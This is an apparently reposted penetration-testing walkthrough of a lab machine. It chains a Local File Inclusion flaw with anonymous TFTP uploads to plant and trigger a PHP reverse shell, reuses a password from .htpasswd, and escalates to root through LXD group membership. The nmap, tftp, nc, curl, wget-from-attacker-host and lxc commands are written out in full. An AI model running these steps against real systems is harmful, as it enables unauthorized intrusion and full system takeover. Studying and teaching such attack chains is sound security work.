Exploiting TFT Protocol and LXD to Gain Unauthorized Access: Chaining Vulnerabilities

1 year ago 64
BOOK THIS SPACE FOR AD
ARTICLE AD

In order to conduct a successful penetration test, it’s essential to have a comprehensive understanding of a network’s vulnerabilities, weaknesses, and potential attack vectors. In this article, we will explore the process of exploiting a Local File Inclusion (LFI) vulnerability, the Trivial File Transfer Protocol (TFTP) and LXD API to gain unauthorized access to a target system. We’ll walk through the steps to identify and exploit the vulnerability, ultimately demonstrating how chaining vulnerabilities can lead to a complete compromise of the target system.

The very first step in this process is typically a port scan, which involves scanning a network or a individual host for open ports to identify running services and potential vulnerabilities.

Let us identify the attack surface by performing a port scan using the below mentioned nmap command to identify all open TCP ports on the target machine.

▶ nmap -Pn -sS -p- -T4 {TARGET_IP} -oN nmap.included.surface

The results of our scan show that only one TCP port is open i.e. port 80 for HTTP.

PORT STATE SERVICE
80/tcp open http

To further investigate, we will be accessing the HTTP service running on port 80 in a browser. It is discovered that a web application is being hosted on the target machine.

WEB APPLICATION

The webpage features the landing page for a Gear manufacturing company. It does not seem to contain anything of interest at first glance.

However, upon observing the behavior of the URL, it is seen that it automatically changes to:

http://{TARGET_IP}/?file=home.php#

This type of URL structure is commonly used by developers to dynamically load pages in a website. However, if not implemented correctly, it can leave the website vulnerable to attacks, Local File Inclusion (LFI) being one of them. As a security researcher or penetration tester, it is important to pay attention to these details, as they could potentially be exploited to gain unauthorized access or help to construct ways to launch further attacks.

LFI (Local File Inclusion)

Local file inclusion (LFI) is a type of vulnerability in web applications that allows an attacker to include files from the target system into the web application by exploiting a flaw in the application code. In this case, the URL structure indicated that the homepage was being loaded from a file, which is a common sign of this vulnerability. Suspecting that the web application might be vulnerable to LFI, I started testing for it by trying to include different local files into the application through the URL using BurpSuite.

Now we will be brute-forcing the endpoint for testing the existence of a Local File Inclusion (LFI) vulnerability.

I have compiled an extensive list of payloads that can be helpful when testing for Local File Inclusion (LFI) vulnerabilities in web applications. You can find these payloads in my GitHub repository, which I have provided the link to below. The payloads are designed to be used with a variety of web application security testing tools and can assist in identifying potential LFI vulnerabilities in the target system.

Feel free to check out the repository and use the payloads in your security testing.

As it can be seen below in the screenshot we are able to read the /etc/passwd file on the target machine, which proves that the vulnerability exists.

LOCAL FILE INCLUSION

As part of our investigation into the LFI vulnerability, we will be thoroughly inspecting the /etc/passwd file on the target system. We find the following lines of interest:

mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

This second line indicates that the tftp daemon is running on the target system, which typically uses the “UDP” port 69. To confirm this, we will be performing a “UDP” port scan using NMAP with the following command:

▶ nmap -sU {TARGET_IP} -oN nmap.included.udp

The -sU option in NMAP instructs it to perform a UDP scan.

PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp

After running the command, the test result reveals that two UDP ports are open on the target machine: port 68 for dhcpc and port 69 for tftp.

Trivial File Transfer Protocol (TFTP)

Trivial File Transfer Protocol (TFTP) is a simple file transfer protocol that does not require user authentication. It is suitable for applications that do not need the advanced features of File Transfer Protocol (FTP).

However, because TFTP doesn’t require authentication, it means that anyone can connect to a TFTP server and upload or download files from the system without authorization.

This presents a security risk, especially when combined with a Local File Inclusion (LFI) vulnerability.

The vulnerability explained above can be exploited to upload a file which contains a PHP reverse shell script on the target machine. The uploaded file can then be used by us to create a reverse shell back to our attacking machine.

By accessing the PHP file through the LFI vulnerability, the web server will execute our file which contains the payload (PHP Reverse Shell Script), allowing us to take control of the target system and gain a foothold.

The PHP reverse shell script used in this scenario can be downloaded from the link provided below. Do not forget to make the necessary change in the script.

After making the changes in the payload file we upload it to the target machine using TFTP.

▶ tftp {}
tftp> put revshell.php
tftp> quit

To catch the reverse shell connection initiated by the uploaded PHP file, we need to start a local Netcat listener on the port specified in the reverse shell.

▶ nc -nlvvp 8888

Next, we need to find a way to access the uploaded PHP file through the LFI so that it gets executed on the target machine, but we don’t know the location where the file was uploaded on the target system. However, we do know that the TFTP user’s home folder is located at /var/lib/tftpboot, based on the information we obtained from the passwd file we previously read.

Using this information, we can attempt to access /var/lib/tftpboot/revshell.php. This can be accomplished with the help of curl .

▶ curl 'http://{TARGET_IP}/?file=/var/lib/tftpboot/revshell.php'

After running this command, our terminal may appear unresponsive, but on the other hand, our Netcat listener will receive a reverse connection from the target machine.

Reverse Connection

As we currently have access to the target machine only as the user www-data and we do not have root privileges. Therefore first, we need to find a way to move laterally to user “mike,” who we discovered from the passwd file.

One possible approach to obtain the necessary information to move laterally is to start our enumeration from the “web server’s” directory. This is because the web server directory often contains configuration files that may include passwords or other useful information.

In this case, we will begin our enumeration from the /var/www/html folder, as this is where web-related files are typically stored.

We have discovered two interesting hidden files in the /var/www/html directory, namely .htaccess and .htpasswd. The .htpasswd file is typically used to store “usernames” and “passwords” for basic authentication of HTTP users. Let’s read both of these files to see if we can find any useful information.

WEB DIRECTORY

In particular, the .htpasswd file contains credentials for user Mike. It’s worth noting that users often reuse the same passwords for multiple services and accounts, so if we can obtain Mike’s password, it may be possible to use it to access other parts of the system.

For example, if Mike has used the same password for their system account, we may be able to use the “su” utility to acquire a shell with their privileges.

USER MIKE

The “password” woks and now we are user “Mike”.

After gaining access to the system, the next step is to obtain the highest level of privileges by becoming the root user. Upon examining the “groups” that the user named “Mike” belongs to, it is discovered that he is a member of the lxd group.

LXD

LXD is an API that is used to manage “LXC” containers on “Linux” based systems. Any member of the local lxd group is capable of performing tasks using this API. However, the API does not make any attempt to match the permissions of the user who calls it to the function they are requesting.

Upon further investigation of LXD, it is revealed that a member of the local lxd group can very conveniently escalate their privileges to root on the host operating system, regardless of whether they have been granted sudo rights or not, and they do not need to enter their “password”. This vulnerability exists even in the LXD snap package.

HackTricks here describes how a member of the local lxd group can escalate their privileges to root on the host operating system.

To exploit the target machine, an Alpine image is used. Alpine is Linux distribution based on busy box. Once the distribution is downloaded and built on our attacking machine, we use an HTTP server to transfer it to the target system. After the image is imported into LXD, it can be used to mount the Host file system with root privileges, granting the attacker elevated access to the system.

First, we need to clone the LXC Distribution Builder and proceed with the build.

▶ git clone https://github.com/lxc/distrobuilder
▶ cd distrobuilder
▶ make

Once the build process is finished, the next step is to download the Alpine YAML file and build this too.

▶ mkdir -p $HOME/ContainerImages/alpine/
▶ cd $HOME/ContainerImages/alpine/
▶ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
▶ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

After the Alpine build process is complete, we will be able to find lxd.tar.xz and rootlet.squashfs files in the same directory. Our next objective is to transfer these two files to the target system. To do this, we will use a Python HTTP server by executing the following command in the same directory on our attacking machine.

▶ python3 -m http.server 8000
PYTHON SERVER

After starting the Python HTTP server on the local machine, switch back to the reverse shell on the target system and proceed to download the lxd.tar.xz and rootlet.squashfs files from the HTTP server.

▶ wget http://{ATTACKER_IP}:8000/lxd.tar.xz
▶ wget http://{ATTACKER_IP}:8000/rootfs.squashfs
UPLOAD SUCCESSFUL

Once the files have been downloaded on the target machine, the next step is to import the image into LXD using the LXC command-line tool. After the import process is successful we verify that the image has been imported by listing the LXD images as below.

▶ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
▶ lxc image list
ALPINE IMAGE IMPORT SUCCESSFUL

After verifying that “Alpine” has been successfully imported and is listed in the image list, the next step is to set the security.privileged flag to true. This will give the container all the privileges of the root file system. Additionally, we will mount the root file system onto the container, specifically in the /mnt folder.

Once the security.privileged flag has been set to true and the root file system has been mounted onto the container, the final step is to start the container and initiate a root shell within it.

▶ lxc init alpine privesc -c security.privileged=true
▶ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
▶ lxc start privesc
▶ lxc exec privesc /bin/sh

To access the root directory, we can navigate to the /mnt/root/root folder.

We demonstrated how Local File Inclusion (LFI) and Trivial File Transfer Protocol (TFTP) can be combined to gain unauthorized access to a target machine which was later escalated to gain root access by making use of the LXD API. By following the steps outlined in this article, security researchers and penetration testers can enhance their understanding of these vulnerabilities and take proactive measures to secure their systems.

Disclaimer: The information provided in this article is intended for educational and research purposes only. Any actions and/or activities related to the material contained in this article is solely the read’s responsibility. The author of this article is not responsible for any misuse of the information provided. Always use ethical and legal means to conduct security testing and research.

Read Entire Article